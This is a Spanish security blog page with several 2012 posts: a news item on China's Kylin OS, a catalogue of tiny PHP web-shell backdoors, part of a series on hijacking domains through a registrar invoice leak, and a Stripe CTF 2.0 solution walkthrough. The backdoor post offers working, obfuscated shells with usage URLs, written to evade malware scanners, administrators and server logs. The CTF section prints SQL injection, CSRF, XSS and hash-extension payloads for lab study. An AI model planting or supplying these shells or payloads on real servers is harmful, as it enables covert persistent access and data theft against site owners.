miércoles, 12 de septiembre de 2012

Kylin OS (Sistema Operativo del Gobierno de China) basado en FreeBSD

Después de la reciente escalada de ciberataques producidos en territorio Estadounidense y las posteriores acusaciones al Gobierno Chino de estar creando un caldo de cultivo para una inminente Ciberguerra, ha surgido información que indica que el Gobierno Chino ha desplegado un un nuevo Sistema Operativo de nombre Kylin, que en teoría sería invulnerable ante cualquier forma conocida de ataque, ya sea que provenga de los Estados Unidos, o de cualquier otra fuente. Si bien no han comenzado a lanzarse misiles virtuales, las medidas de defensa adoptadas por ambas potencias arrojan un velo de preocupación sobre la comunidad digital mundial.

INFORMACIÓN DEL SISTEMA:

Kylin es un Sistema Operativo que se centra en el rendimiento de alta disponibilidad y seguridad. Su desarrollo inicial fue financiado y patrocinado por el Gobierno Chino de Investigación y Desarrollo (R&D) en el 2002. La primera versión pública de Kylin fue lanzado en 2007.
Kylin se basa en FreeBSD 5.3 con algunas extensiones de seguridad propias para añadir un nivel adicional de seguridad para ese sistema operativo. Kylin, el nombre de Qili, una bestia mítica, se ha organizado en un modelo de jerarquía, incluyendo la capa de núcleo básico, que es responsable de la inicialización del hardware y proporcionando la gestión de memoria básica y la gestión de tareas, la capa de servicio del sistema que se basa en FreeBSD proporciona UFS2 y los protocolos de red de BSD, y el entorno de escritorio que es similar a Windows. Se ha diseñado para cumplir con los estándares de UNIX y es compatible con los binarios de Linux.

Kylin está aprobado para su uso por el Ejército Popular de Liberación y al parecer ha sido desplegado en el ejército Chino, la Defensa Nacional y las organizaciones sensibles del gobierno desde 2007. Kylin también se está utilizando en finanzas, gobierno y educación.

EMPRESAS QUE USAN Kylin:
CAPTURAS DEL SISTEMA:
  • Instalación del Sistema (Virtual Box)
  • Pantalla para logearse:
  • Escritorio de Kylin OS


DESCARGAR Kylin OS:

SITIO OFICIAL:
Contribución gracias a Caleb Bucker de [In]Seguridad Informática

domingo, 9 de septiembre de 2012

Backdoors y más backdoors en php


 
Seguro que ya habrán visto algunas funciones PHP que ejecutan comandos como si estuvieran en una shell y con las cuales podemos hacer un backdoor y mantener el acceso en un servidor.  

Hoy además les quiero mostrar algunos códigos ingeniosos para llegar a ello y así pasar desapercibido ante un scanner o hasta ante el mismísimo administrador Web.

Para comenzar les voy a listar los más conocidos y detectados a simple vista:

system.php

<?@system($_GET[_]);?>
uso: ww2.pwnakil.com/PoC/shell/system.php?_=ls -a

shell_exec.php

<?=@shell_exec($_GET[_])?>
uso: ww2.pwnakil.com/PoC/shell/shell_exec.php?_=ls -a

exec.php

<?=@exec($_GET[_])?>
uso: ww2.pwnakil.com/PoC/shell/exec.php?_=ls -a

eval.php

<?@eval($_GET[_])?>
uso: ww2.pwnakil.com/PoC/shell/eval.php?_=phpinfo();
uso: ww2.pwnakil.com/PoC/shell/eval.php?_=system('ls -a');
uso: ww2.pwnakil.com/PoC/shell/eval.php?_=echo shell_exec('ls -a');

passthru.php

<?@passthru($_GET[_])?>
uso: ww2.pwnakil.com/PoC/shell/passthru.php?_=ls -a

proc_open.php

<?@$_=proc_open($_GET[_],array(array("pipe","r"),array("pipe","w")),$pipes);echo stream_get_contents($pipes[1])?>
uso: ww2.pwnakil.com/PoC/shell/proc_open.php?_=ls -a

popen.php

<?=@fread(popen($_GET[s], 'r'),$_GET[_])?>
uso: ww2.pwnakil.com/PoC/shell/popen.php?s=ls -a&_=100
uso: ww2.pwnakil.com/PoC/shell/popen.php?s=ls -la&_=1050

pcntl_exec.php

<?pcntl_exec('/bin/bash',array('-c',$_GET[_]));?>
uso: ww2.pwnakil.com/PoC/shell/pcntl_exec.php?_=ls -a
requiere: necesita ser compilado con --enable-pcntl en el PHP

No conocidos pero detectados:

preg_replace.php

<?=@preg_replace('/.*/e',$_GET[_],null)?>
uso: ww2.pwnakil.com/PoC/shell/preg_replace.php?_=system('ls -a')
uso: ww2.pwnakil.com/PoC/shell/preg_replace.php?_=phpinfo()
uso: ww2.pwnakil.com/PoC/shell/preg_replace.php?_=shell_exec('ls -a')

backtick.php

<?=@`$_GET[_]`?>
uso: ww2.pwnakil.com/PoC/shell/backtick.php?_=ls -a

backtick2.php

<?=@`$x`?>
uso: ww2.pwnakil.com/PoC/shell/backtick2.php?x=ls -a
requiere: necesita estar habilitado el Register_Globals en PHP

No conocidos ni detectados:


call_func.php

<?=@call_user_func_array($_GET[s], array($_GET[_]))?>
uso: ww2.pwnakil.com/PoC/shell/call_func.php?s=system&_=ls -a
uso: ww2.pwnakil.com/PoC/shell/call_func.php?s=phpinfo&_=-1

assert.php

<?@assert($_GET[_])?>
uso: ww2.pwnakil.com/PoC/shell/assert.php?_=phpinfo()
uso: ww2.pwnakil.com/PoC/shell/assert.php?_=system('ls -a')
uso: ww2.pwnakil.com/PoC/shell/assert.php?_=passthru('ls -a')
uso: ww2.pwnakil.com/PoC/shell/assert.php?_=print shell_exec('ls -a');


Aquí quiero hacer un paréntesis, ya que los códigos que vienen mas adelante son casi similares. Miren el siguiente:
<?php
     $z='phpinfo';
     $z();
?>
  si ustedes ejecutan ese código obtendran un lindo:
<?php phpinfo()?>
 



Lo que quiero demostrar entonces es que podemos tomar una cadena y ejecutar como si fuera una función en PHP. Sigamos:

smallshell.php

<?=@$x($z);
uso: ww2.pwnakil.com/PoC/shell/smallshell.php?x=phpinfo&z=-1
uso: ww2.pwnakil.com/PoC/shell/smallshell.php?x=system&z=ls -a
requiere: necesita estar habilitado el Register_Globals en PHP

minishell.php

<?=@$_GET[s]($_GET[_])?>
uso: ww2.pwnakil.com/PoC/shell/minishell.php?s=phpinfo&_=-1
uso: ww2.pwnakil.com/PoC/shell/minishell.php?s=system&_=ls -a
uso: ww2.pwnakil.com/PoC/shell/minishell.php?s=shell_exec&_=ls -a

Algunas shell ingeniosas y por supuesto no detectadas:

ingenioushell.php

<?$x=str_replace('x', 's', 'xyxtem');@$x($_GET[_])?>
uso: ww2.pwnakil.com/PoC/shell/ingenioushell.php?_=ls -a

ingenioushell2.php

<?$x='syste'.chr(109);@$x($_GET[_]);
uso: ww2.pwnakil.com/PoC/shell/ingenioushell2.php?_=ls -a

ingenioushell3.php

<?$x=strrev("cexe_llehs");echo @$x($_GET[_]);
uso: ww2.pwnakil.com/PoC/shell/ingenioushell3.php?_=ls -a

Ahí están casi todas las que se me ocurrieron (las demás eran similares a las que están ahí, agregándole algunas variables, lo cual haría mas grande el código). Para que funcionen, todas necesitan que el Short_Open_Tag esté habilitado. Por defecto el PHP lo tiene habilitado, y si fuera el caso contrario solo tendrían que agregar el tag de php:
<?php
    ...code...;
?>

También la idea es tener los códigos mas pequeños que te puedan garantizar el acceso al servidor. Por ello en algunos códigos falta cerrar los tag de php, dado que no es necesario porque con el punto y coma (;) indica la finalización del código.

Y por si no quieren aparecer en los logs del servidor ya que los parámetros son enviados por el método GET, podríamos cambiarlos por POST. Un ejemplo de ello sería:

minishellpost.php
<?=@$_POST[s]($_POST[_])?>

Y la ejecución seria de esta forma: abrimos una pestaña en el navegador, luego abrimos el HackBar (F9) y hacemos lo que dice la imagen:
 
Índice de detecciones

Además, le he pasado algunos scanners especializados en buscar códigos maliciosos a los 19 archivos que he generado con los códigos de arriba, y he agregado una Shell Web WSO encriptada en base64 llamada "pwnakil.php" con el motivo de saber si los scanners originan falsos positivos, y aquí están los resultados :

1.- Linux Malware Detect
     En el Scan no encontró ningún archivo sospechoso:



2.- Neopi
     Detectó 2 archivos entre ellos la shell web WSO:
   


3.- Look For Bad Guys
     Detectó 7 archivos sospechosos entre ellos la shell web WSO:


    
4.- Php Shell Scanner
     Detectó 9 archivos sospechosos entre ellos la shell web WSO:


             
5.- Emposha Php Shell Detector
     Detectó 11 archivos Sospechosos entre ellos la shell web WSO:



Y eso es todo. Por último, si conocen otro pequeño código con el cual podríamos ejecutar comandos, no duden en comentarlo aquí para, entre todos, tener una gran colección de scripts. 
 
 
 

miércoles, 5 de septiembre de 2012

Pull the Plug: Bureaucratic Denial Of Service (2 de 4)

Para realizar un Bureaucratic Denial Of Service, la recogida de información sobre el objetivo es fundamental. Conocer quiénes son los responsables del dominio tanto a nivel legal, como a nivel técnico, ayudarán a un posible atacante a preparar las acciones necesarias.

Fase 1: Recogida de información

En esta fase es necesario conocer cuáles son los servicios que tiene contratada una empresa en un determinado proveedor. Lo más habitual es que se tenga contratado el servicio de registro de nombre de dominio, pero también puede que se haga uso del propio soporte DNS, o de hosting de espacio web o FTP.

Normalmente, cada proveedor tiene un Identificador de Servicio por cada uno de los provistos a una cuenta, que tendrá por supuesto su propio sistema de identificación. Esta cuenta, además de tener su representación en el sistema como NIC Handler, estará asociada a una persona física, identificada por su nombre, dirección de correo, número de teléfono y documento nacional de identidad, quién, en última instancia podrá tomar cualquier decisión sobre el dominio.

Por supuesto, además de recoger información y datos, será necesario conocer información táctica, como cuales los procesos burocráticos que hay que cumplimentar para solicitar el cambio o la supresión de un dominio, además de cuál es el flujo lógico de estas operaciones.

El servicio de Whois

Este servicio es una auténtica mina para la recogida de datos de un dominio. Cualquier información que solicite un proveedor de servicios de Internet para identificar a una persona está recogida en él, tal y como se puede ver en la captura siguiente, donde se ven datos parciales del dominio skytalks.info.

Figura 5: Whois parcial de Skytalks.info

Algunos registradores de dominios permiten la fortificación del sistema, haciendo que se puedan ocultar campos, como por ejemplo en el dominio .COM, donde Microsoft ha ocultado mucha de esta información. Curiosamente, muchos registradores nacionales, en pro de la transparencia, no permiten esta fortificación.

Figura 6: Información Whois de Microsoft.com

En el caso de Microsoft, nos ha llamado la atención ver cómo es víctima de un ataque hacktivista en el Whois, ya que hay dominios que han creado subdominos Microsoft.com para que aparezcan en los resultados, dejando unos mensajes muy poco "elegantes" en él.

Figura 7: Ataque hacktivista al Whois de Microsoft.com

Data Leak en los sistemas de gestión de proveedores de servicios

En el caso de algunos proveedores de servicio, esta información puede ser obtenida directamente desde su sistema de gestión. En el caso de OVH, las facturas de los servicios tienen toda la información necesaria para poder solicitar el comienzo de un proceso de modificación o supresión de un dominio. Por supuesto, acceder a una factura no es algo trivial a priori, aunque como vamos a ver, existían unos fallos que lo permitían.

Figura 8: Factura de servicio en OVH

En el caso de que se quiera acceder a los datos de una factura es necesario disponer del número de factura y la contraseña asociada a la factura, e introducirlos en el servicio: /cgi‐bin/order/bill.cgi. Este sistema está pensado para su distribución a clientes vía e-mail. La longitud de la contraseña es de cuatro caracteres, siendo estos mayúsculas/minúsculas y números por lo que se hace inviable el ataque de fuerza bruta sobre este servicio a través de la web.

Figura 9: Acceso externo a facturas de servicios en OVH

Sin embargo, también es posible acceder a un listado de las facturas emitidas a una determinada cuenta a través de la sección "administración" de la cuenta, en el apartado "facturas". Si observamos detenidamente este listado vemos que enlaza las facturas con la dirección comentada anteriormente, enlazando en algún momento, junto a la petición, la contraseña asociada a la factura.

Figura 10: Acceso a las facturas desde el panel de administración

Si se interceptan las peticiones que se producen cuando se hace clic sobre una determinada factura se puede ver que se llama a un procedimiento por POST en el que únicamente se envía el identificador de factura.

Figura 11: Petición de visualización de factura sin contraseña

Esto es así porque, para facilidad del usuario ya autenticado en el sistema, el propio procedimiento rellena la contraseña y hace un 302 Redirect al procedimiento visto en la Figura 9 con la contraseña correctamente introducida en la petición.

Figura 12: Redirect con la contraseña de la factura rellena
Ahora bien, ¿la gestión se hace de forma correcta comprobándose previamente si la factura solicitada ha sido emitida a la cuenta que realiza la petición? No. Esto permitía que, desde cualquier cuenta de OVH, fuera posible acceder a cualquier factura sabiendo su identificador.

Además, puesto que este identificador tiene un valor predecible por ser un valor incremental y en base al país en el que haya sido emitida, se pueden realizar búsquedas afinadas mediante una búsqueda binaria por fechas de facturas, sabiendo la fecha de alta del dominio a través del servicio Whois.

***************************************************************************************************
- Pull the Plug: Bureaucratic Denial Of Service (1 de 4)
- Pull the Plug: Bureaucratic Denial Of Service (2 de 4)
- Pull the Plug: Bureaucratic Denial Of Service (3 de 4)
- Pull the Plug: Bureaucratic Denial Of Service (4 de 4)


Fuente

Solucionario del CTF 2.0 de Stripe

Por Twitter me enteré el 23 de Agosto que la empresa Stripe había montado un CTF, me sonaba que ya habían hecho uno previamente. Esta vez el CTF era sobre vulnerabilidades Web y tenía del 22 al 29 por lo que me decidí a probar.

https://stripe.com/blog/capture-the-flag-20



Hay 9 niveles donde nos proporcionan una introducción y el código fuente del servicio a atacar. Todo el código que nos proporcionan lo he subido a https://github.com/dalvarezs


Nivel 0

Welcome to Capture the Flag! If you find yourself stuck or want to learn more about web security in general, we've prepared a list of helpful resources for you. You can chat with fellow solvers in the CTF chatroom (also accessible in your favorite IRC client at irc://irc.stripe.com:+6697/ctf).

We'll start you out with Level 0, the Secret Safe. The Secret Safe is designed as a secure place to store all of your secrets. It turns out that the password to access Level 1 is stored within the Secret Safe. If only you knew how to crack safes...


You can access the Secret Safe at https://level00-1.stripe-ctf.com/user-czemoskhjv. The Safe's code is included below, and can also be obtained via git clone https://level00-1.stripe-ctf.com/user-czemoskhjv/level00-code.


Revisando el código en ruby rápidamente se ve que la vulnerabilidad es una inyección de código SQL en una sentencia con LIKE.

El código vulnerable en el fichero level00.js es:
app.get('/*', function(req, res) {
  var namespace = req.param('namespace');

  if (namespace) {
    var query = 'SELECT * FROM secrets WHERE key LIKE ? || ".%"';
    db.all(query, namespace, function(err, secrets) {
             if (err) throw err;

             renderPage(res, {namespace: namespace, secrets: secrets});
           });
  } else {
    renderPage(res, {});
  }
});

Enviando el carácter % en el parámetro namespace se obtienen todos los valores almacenados, obteniendo el password MTNzeALlbv.

Nivel 1

Excellent, you are now on Level 1, the Guessing Game. All you have to do is guess the combination correctly, and you'll be given the password to access Level 2! We've been assured that this level has no security vulnerabilities in it (and the machine running the Guessing Game has no outbound network connectivity, meaning you wouldn't be able to extract the password anyway), so you'll probably just have to try all the possible combinations. Or will you...?

You can play the Guessing Game at https://level01-2.stripe-ctf.com/user-fidecfsyim. The code for the Game can be obtained from git clone https://level01-2.stripe-ctf.com/user-fidecfsyim/level01-code, and is also included below.


La aplicación espera en el parámetro attempt la contraseña, sin embargo, leyendo el código (esta vez en php) te das cuenta de que es posible enviar un parámetro con el nombre de la variable filename que será el utilizado por el codigo php, en vez de 'secret-combination.txt'.

De esta forma podemos controlar la condición “if ($attempt === $combination)” obteniendo el password EzErXetuTd.
<?php
      $filename = 'secret-combination.txt';
      extract($_GET);
      if (isset($attempt)) {
        $combination = trim(file_get_contents($filename));
        if ($attempt === $combination) {
          echo "<p>How did you know the secret combination was" .
               " $combination!?</p>";
          $next = file_get_contents('level02-password.txt');
          echo "<p>You've earned the password to the access Level 2:" .
               " $next</p>";
        } else {
          echo "<p>Incorrect! The secret combination is not $attempt</p>";
        }
      }
    ?>

Payload: https://level01-2.stripe-ctf.com/user-fidecfsyim?attempt=&filename=

Nivel 2

You are now on Level 2, the Social Network. Excellent work so far! Social Networks are all the rage these days, so we decided to build one for CTF. Please fill out your profile at https://level02-2.stripe-ctf.com/user-uvgjkctugx. You may even be able to find the password for Level 3 by doing so.

The code for the Social Network can be obtained from git clone https://level02-2.stripe-ctf.com/user-uvgjkctugx/level02-code, and is also included below.


En este nivel tenemos una Red social donde se permite subir un fichero como imagen para el perfil.
La vulnerabilidad está en que la aplicación permite subir cualquier fichero, por lo que se puede enviar código php.
En el código dado se hace referencia al fichero password.txt. Solo queda subir un fichero que muestre su contenido:
 <?php echo file_get_contents("../password.txt"); ?>

Password HpTCvSQLKQ.

Nivel 3

After the fiasco back in Level 0, management has decided to fortify the Secret Safe into an unbreakable solution (kind of like Unbreakable Linux). The resulting product is Secret Vault, which is so secure that it requires human intervention to add new secrets.

A beta version has launched with some interesting secrets (including the password to access Level 4); you can check it out at https://level03-1.stripe-ctf.com/user-qjthblpqly. As usual, you can fetch the code for the level (and some sample data) via git clone https://level03-1.stripe-ctf.com/user-qjthblpqly/level03-code, or you can read the code below.


Accediendo a la web se solicita usuario y contraseña para obtener el secreto. Además, nos dice que el usuario bob almacena el secreto para el paso al nivel 4.

Revisando el código (ahora toca python) se ve que se ejecuta la sentencia SQL que no está siendo filtrada:
 query = """SELECT id, password_hash, salt FROM users
               WHERE username = '{0}' LIMIT 1""".format(username)

Además, se utiliza el hash de la contraseña con un salt:
calculated_hash = hashlib.sha256(password + salt)
    if calculated_hash.hexdigest() != password_hash:
        return "That's not the password for {0}!\n".format(username)

Cuando usuario y contraseña son correctos, se asigna a la sesión el id del usuario, por lo que  el objetivo de esta prueba es obtener el id del usuario bob para que nos muestre el secreto. Para ello necesitamos que nos asigne su user_id, habiendo pasado las comprobaciones de usuario y contraseña:
 flask.session['user_id'] = user_id

Mediante una inyección SQL en el parámetro username se fuerza a que el id que devuelva sea el del usuario bob. Se envió una petición POST con los parámetros:
username='+UNION+SELECT+id,+'fb8e20fc2e4c3f248c60c39bd652f3c1347298bb977b8b4d5903b85055620603',+'b'+FROM+users+WHERE+username%3d'bob'--&password=a

Estos valores son calculados con el objetivo de que la condición “if calculated_hash.hexdigest() != password_hash:” se cumpla. Para ello se ha calculado los password_hash estableciendo como password 'a' y como salt 'b':
>>> hashlib.sha256('a'+'b').hexdigest()
'fb8e20fc2e4c3f248c60c39bd652f3c1347298bb977b8b4d5903b85055620603'

Recargando la web se obtiene el password ZZFMsfXAhg. Este nivel empezaba a ser más divertido!

Nivel 4

The Karma Trader is the world's best way to reward people for good deeds: https://level04-4.stripe-ctf.com/user-lkfvmdujam. You can sign up for an account, and start transferring karma to people who you think are doing good in the world. In order to ensure you're transferring karma only to good people, transferring karma to a user will also reveal your password to him or her.

The very active user karma_fountain has infinite karma, making it a ripe account to obtain (no one will notice a few extra karma trades here and there). The password for karma_fountain's account will give you access to Level 5.


You can obtain the full, runnable source for the Karma Trader from git clone https://level04-4.stripe-ctf.com/user-lkfvmdujam/level04-code. We've included the most important files below.


Por la descripción, el objetivo está claro: conseguir que el usuario karma_fountain nos transfiera crédito para que nos muestre su contraseña.

En el código se puede ver cómo se realizan las transferencias:


post '/transfer' do
      redirect '/' unless @user

      from = @user[:username]
      to = params[:to]
      amount = params[:amount]

      die("Please fill out all the fields.", :home) unless amount && to
      amount = amount.to_i
      die("Invalid amount specified.", :home) if amount <= 0
      die("You cannot send yourself karma!", :home) if to == from
      unless DB.conn[:users][:username => to]
        die("No user with username #{to.inspect} found.", :home)
      end

      unless user_has_infinite_karma?
        if @user[:karma] < amount
          die("You only have #{@user[:karma]} karma left.", :home)
        end
      end

      DB.conn[:transfers].insert(:from => from, :to => to, :amount => amount)
      DB.conn[:users].where(:username=>from).update(:karma => :karma - amount)
      DB.conn[:users].where(:username=>to).update(:karma => :karma + amount)

El campo from no se pasa por parámetro y no podemos manipularlo. Por otro lado, el registro de usuarios se hace mediante:


post '/register' do
      username = params[:username]
      password = params[:password]
      unless username && password
        die("Please specify both a username and a password.", :register)
      end

      unless username =~ /^\w+$/
        die("Invalid username. Usernames must match /^\w+$/", :register)
      end

      unless DB.conn[:users].where(:username => username).count == 0
        die("This username is already registered. Try another one.",
            :register)
      end

A diferencia del username, la contraseña no se está validando.
Por lo tanto, el objetivo es mediante un ataque de Cross-Site Request Forgery forzar a que el usuario karma_fountain nos haga una transferencia. Para ello, creamos un usuario con contraseña:


  <form action="https://level04-4.stripe-ctf.com/user-lkfvmdujam/transfer" method="post" id="pr">
            <input type="hidden" name="to" value="david" />
            <input type="hidden" name="amount" value="1" />
        </form>
        <script>
            document.getElementById('pr').submit();
        </script>

Y hacemos una donación al usuario karma_fountain para que reciba nuestro código mediante la contraseña. El usuario karma_fountain es un bot que se conecta periódicamente por lo que nos realizará la transferencia.

La password ZXVuTozhJX.

Nivel 5:

Many attempts have been made at creating a federated identity system for the web (see OpenID, for example). However, none of them have been successful. Until today.

The DomainAuthenticator is based off a novel protocol for establishing identities. To authenticate to a site, you simply provide it username, password, and pingback URL. The site posts your credentials to the pingback URL, which returns either "AUTHENTICATED" or "DENIED". If "AUTHENTICATED", the site considers you signed in as a user for the pingback domain.


You can check out the Stripe CTF DomainAuthenticator instance here: https://level05-1.stripe-ctf.com/user-ujgjbpdotv. We've been using it to distribute the password to access Level 6. If you could only somehow authenticate as a user of a level05 machine...


To avoid nefarious exploits, the machine hosting the DomainAuthenticator has very locked down network access. It can only make outbound requests to other stripe-ctf.com servers. Though, you've heard that someone forgot to internally firewall off the high ports from the Level 2 server.


Interesting in setting up your own DomainAuthenticator? You can grab the source from git clone https://level05-1.stripe-ctf.com/user-ujgjbpdotv/level05-code, or by reading on below


Por la introducción no se tiene muy claro que hay que hacer, revisando el código se extrae:
Necesitamos que se cumpla la condición “if host =~ PASSWORD_HOSTS” para que nos muestre la contraseña:
     user = session[:auth_user]
      host = session[:auth_host]
      if user && host
        output += " You are authenticated as #{user}@#{host}. 

"
        if host =~ PASSWORD_HOSTS
          output += " Since you're a user of a password host and all,"
          output += " you deserve to know this password: #{PASSWORD} 

"
        end
      end

# Run with the production file on the server
    if File.exists?('production')
      PASSWORD_HOSTS = /^level05-\d+\.stripe-ctf\.com$/
      ALLOWED_HOSTS = /\.stripe-ctf\.com$/
    else
      PASSWORD_HOSTS = /^localhost$/
      ALLOWED_HOSTS = //
    end

Por lo tanto, hosts tiene que seguir el patrón /^level05-\d+\.stripe-ctf\.com$/

Para asignar un valor a la variable host:
if authenticated?(body)
        session[:auth_user] = username
        session[:auth_host] = host
        return "Remote server responded with: #{body}." \
               " Authenticated as #{username}@#{host}!"

se debe cumplir “if authenticated?(body)”
def authenticated?(body)
      body =~ /[^\w]AUTHENTICATED[^\w]*$/
    end

Después de esto el objetivo es conseguir que al hacer una petición la variable hosts cumpla el patrón anterior. Por la descripción sabemos que la máquina solo puede hacer peticiones a servidores con dominio stripe-ctf.com, por lo que usaremos el servidor del nivel 2 para subir un fichero con el texto “-AUTHENTICATED”.
Finalmente se ejecutó una petición POST con:

pingback=https://level05-1.stripe-ctf.com/user-ujgjbpdotv/?pingback=https://level02-2.stripe-ctf.com/user-uvgjkctugx/uploads/lvl5.txt&username=david&password=2 

Nivel 6:

After Karma Trader from Level 4 was hit with massive karma inflation (purportedly due to someone flooding the market with massive quantities of karma), the site had to close its doors. All hope was not lost, however, since the technology was acquired by a real up-and-comer, Streamer. Streamer is the self-proclaimed most steamlined way of sharing updates with your friends. You can access your Streamer instance here: https://level06-2.stripe-ctf.com/user-axbechwixy

The Streamer engineers, realizing that security holes had led to the demise of Karma Trader, have greatly beefed up the security of their application. Which is really too bad, because you've learned that the holder of the password to access Level 7, level07-password-holder, is the first Streamer user.


As well, level07-password-holder is taking a lot of precautions: his or her computer has no network access besides the Streamer server itself, and his or her password is a complicated mess, including quotes and apostrophes and the like.


Fortunately for you, the Streamer engineers have decided to open-source their application so that other people can run their own Streamer instances. You can obtain the source for Streamer at git clone https://level06-2.stripe-ctf.com/user-axbechwixy/level06-code. We've also included the most important files below.


Tras leer la descripción, el objetivo está claro:

Necesitamos que el usuario  level07-password-holder publique su contraseña en los mensajes. Sin embargo, esta vez para postear un mensaje hay que conocer un token no predecible para evitar ataques Cross-Site Request Forgery.

Revisando el código se ve que únicamente se está haciendo un filtrado de los caracteres ' y “:
 if value.kind_of?(String) &&
            (value.include?('"') || value.include?("'"))
          raise "Value has unsafe characters"
        end

Por lo que es posible realizar un Cross-Site Scripting inyectando un código que obtenga la contraseña, y publique un mensaje extrayendo el valor del token.

Los mensajes que se muestran a los usuarios están incluidos en un JSON:
  var post_data = [{"time":"Fri Aug 24 11:23:42 +0000 2012","title":"Hello World","user":"level07-password-holder","id":null,"body":"Welcome to Streamer, the most streamlined way of sharing\nupdates with your friends!\n\nOne great feature of Streamer is that no password resets are needed. I, for\nexample, have a very complicated password (including apostrophes, quotes, you\nname it!). But I remember it by clicking my name on the right-hand side and\nseeing what my password is.\n\nNote also that Streamer can run entirely within your corporate firewall. My\nmachine, for example, can only talk directly to the Streamer server itself!"}];

Por lo que el payload queda:
$.ajax({
                    type: 'GET',
                        url: 'user_info',
                        success: function(msg){
                                    var a =$('[name=_csrf]').val();
                                    var msg2= msg.replace(/"/g, 'bbbbbbbbbbbbbb');
                                    var msg3=msg2.replace(/'/g, 'eeeeeeeeeeeeeee');
                                    $.ajax({
                                        type: 'POST',
                                        url: 'ajax/posts',
                                        data: {
                                              'title': 'titulo',
                                              'body': msg3,
                                              '_csrf': a
                                              },
                                        success: function(msg){
                                                    alert("fuck CSRF");
                                         }
                                    });
                        }
                });

Mediante la petición a user_info, se obtiene la contraseña y con ella se realiza una petición de publicar un mensaje extrayendo el valor del token. Además, como la contraseña del usuario contiene caracteres no permitidos ( ' y “), nos lo dicen en la descripción, se reemplazan  por otro código.

Finalmente hay que codificar el código jquery para evitar problemas con las comillas y se envía la siguiente petición POST:
title=testing&amp;body=}]&lt;/script&gt;&lt;script&gt;eval(String.fromCharCode(36, 46, 97, 106, 97, 120, 40, 123, 116, 121, 112, 101, 58, 32, 39, 71, 69, 84, 39, 44, 117, 114, 108, 58, 32, 39, 117, 115, 101, 114, 95, 105, 110, 102, 111, 39, 44, 32, 115, 117, 99, 99, 101, 115, 115, 58, 32, 102, 117, 110, 99, 116, 105, 111, 110, 40, 109, 115, 103, 41, 123, 32, 118, 97, 114, 32, 99, 115, 114, 102, 32, 61, 36, 40, 39, 91, 110, 97, 109, 101, 61, 95, 99, 115, 114, 102, 93, 39, 41, 46, 118, 97, 108, 40, 41, 59, 32, 118, 97, 114, 32, 109, 115, 103, 50, 61, 32, 109, 115, 103, 46, 114, 101, 112, 108, 97, 99, 101, 40, 47, 34, 47, 103, 44, 32, 39, 98, 98, 98, 98, 98, 98, 98, 98, 98, 98, 98, 98, 98, 98, 98, 39, 41, 59, 32, 118, 97, 114, 32, 109, 115, 103, 51, 61, 109, 115, 103, 50, 46, 114, 101, 112, 108, 97, 99, 101, 40, 47, 39, 47, 103, 44, 32, 39, 101, 101, 101, 101, 101, 101, 101, 101, 101, 101, 101, 101, 101, 101, 101, 39, 41, 59, 32, 36, 46, 97, 106, 97, 120, 40, 123, 32, 116, 121, 112, 101, 58, 32, 39, 80, 79, 83, 84, 39, 44, 32, 117, 114, 108, 58, 32, 39, 97, 106, 97, 120, 47, 112, 111, 115, 116, 115, 39, 44, 32, 100, 97, 116, 97, 58, 32, 123, 32, 39, 116, 105, 116, 108, 101, 39, 58, 32, 39, 116, 105, 116, 117, 108, 111, 39, 44, 32, 39, 98, 111, 100, 121, 39, 58, 32, 109, 115, 103, 51, 44, 32, 39, 95, 99, 115, 114, 102, 39, 58, 32, 99, 115, 114, 102, 32, 125, 44, 32, 115, 117, 99, 99, 101, 115, 115, 58, 32, 102, 117, 110, 99, 116, 105, 111, 110, 40, 109, 115, 103, 41, 123, 32, 97, 108, 101, 114, 116, 40, 34, 102, 117, 99, 107, 32, 67, 83, 82, 70, 34, 41, 59, 125, 125, 41, 59, 125, 125, 41, 59))&lt;/script&gt;&lt;script&gt;var t = [{&amp;_csrf=Z%2FTINtE2srx4T5WwCFSv6zkOrRJo3NDUk8T5L5%2Fi27g%3D

Cuando el usuario level07-password-holder se conecte obtendremos el password 'frHrvqmmtcXV".

Nivel 7:

Welcome to the penultimate level, Level 7.
WaffleCopter is a new service delivering locally-sourced organic waffles hot off of vintage waffle irons straight to your location using quad-rotor GPS-enabled helicopters. The service is modeled after TacoCopter, an innovative and highly successful early contender in the airborne food delivery industry. WaffleCopter is currently being tested in private beta in select locations.

Your goal is to order one of the decadent Liège Waffles, offered only to WaffleCopter's first premium subscribers.


Log in to your account at https://level07-2.stripe-ctf.com/user-vnnjojikfr with username ctf and password password. You will find your API credentials after logging in. You can fetch the code for the level via

git clone https://level07-2.stripe-ctf.com/user-vnnjojikfr/level07-code, or you can read it below. You may find the sample API client in client.py particularly helpful.

Revisando el código destaca:
 def _signature(self, message):
        h = hashlib.sha1()
        h.update(self.api_secret + message)
        return h.hexdigest()

y viendo las peticiones que se realizan para hacer los pedidos:
https://level07-2.stripe-ctf.com/user-vnnjojikfr/orders
count=1&lat=1&user_id=5&long=1&waffle=liege|sig:0eeddfae9869844170ba0ceeb871c562152dd251

se extrae que es vulnerable a un ataque hash length extension. Para estos ataques hay una herramienta que nos hace todo el trabajo gracias a vnsecurity (http://www.vnsecurity.net/2010/03/codegate_challenge15_sha1_padding_attack/). Solo hace falta conocer la longitud de la contraseña, mensaje original, hash original y el mensaje que queremos añadir. El tamaño de la contraseña lo podemos obtener del código, aunque un ataque de fuerza bruta hubiera valido:
def add_waffles(level_password):
    add_waffle('liege', 1, level_password)
    add_waffle('dream', 1, rand_alnum(14))
    add_waffle('veritaffle', 0, rand_alnum(14))

Como se permitía acceder a los pedidos de otros usuarios, con una petición a https://level07-2.stripe-ctf.com/user-vnnjojikfr/logs/1 es posible obtener el mensaje original  “count=10&lat=37.351&user_id=1&long=-119.827&waffle=eggo”

Ejecutamos la herramienta y enviamos el resultado:
python sha-padding.py 14 'count=10&lat=37.351&user_id=1&long=-119.827&waffle=eggo' '0cae013e74d62f65b1802c5d780e7180983d8dbd' '&waffle=liege'

https://level07-2.stripe-ctf.com/user-vnnjojikfr/orders
count=10&lat=37.351&user_id=1&long=-119.827&waffle=eggo\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02(&waffle=liege

Nivel 8:

El nivel más complejo con diferencia. Por cuestiones personales, solo pude estar con el CTF el 23-24 y 28-29, cuando desbloquee el nivel ya había dos pistas. No se si estaban dadas desde el principio o fue pasados los días:

Welcome to the final level, Level 8.
HINT 1: No, really, we're not looking for a timing attack.
